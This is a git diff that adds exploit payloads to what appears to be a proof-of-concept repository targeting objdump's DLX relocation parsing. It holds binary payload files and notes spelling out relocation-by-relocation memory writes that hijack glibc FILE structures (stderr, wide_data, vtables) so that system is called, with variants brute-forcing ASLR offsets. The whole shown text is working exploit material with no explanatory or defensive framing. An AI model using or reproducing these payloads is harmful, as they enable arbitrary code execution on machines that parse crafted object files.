diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e5ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e5ff.bin new file mode 100644 index 0000000..fe5f171 Binary files /dev/null and b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e5ff.bin differ diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e5ff.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e5ff.notes new file mode 100644 index 0000000..338ed11 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e5ff.notes @@ -0,0 +1,34 @@ +layout=gnu2461 +flag_byte4=0x05 +buf_delta=0x6f300000 +wide_delta=0x4fff0000 +system_delta=0x6f43e5ff +command=P +off_io=-0x3690 off_sec=0xbb8 rbase=0x190 +sec_size_offset=0x40 + +000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8 +007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8 +008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc +009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc +010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e6ff.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e6ff.bin new file mode 100644 index 0000000..088ecfa Binary files /dev/null and b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e6ff.bin differ diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e6ff.notes b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e6ff.notes new file mode 100644 index 0000000..1662f26 --- /dev/null +++ b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e6ff.notes @@ -0,0 +1,34 @@ +layout=gnu2461 +flag_byte4=0x05 +buf_delta=0x6f300000 +wide_delta=0x4fff0000 +system_delta=0x6f43e6ff +command=P +off_io=-0x3690 off_sec=0xbb8 rbase=0x190 +sec_size_offset=0x40 + +000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2 +001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3 +002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690 +003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2 +004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3 +005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690 +006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8 +007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8 +008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc +009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc +010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2 +011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3 +012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable +013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2 +014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3 +015 target=-0x3628 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system +016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2 +017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3 +018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data +019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2 +020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3 +021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow +022 target=0x0 sym=0x00000000 pad R_DLX_NONE +023 target=0x0 sym=0x00000000 pad R_DLX_NONE +024 target=0x0 sym=0x00000000 pad R_DLX_NONE diff --git a/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s7042e500.bin b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s7042e500.bin new file mode 100644 index 0000000..5005c15 Binary files /dev/null and b/objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s7042e500.bin differ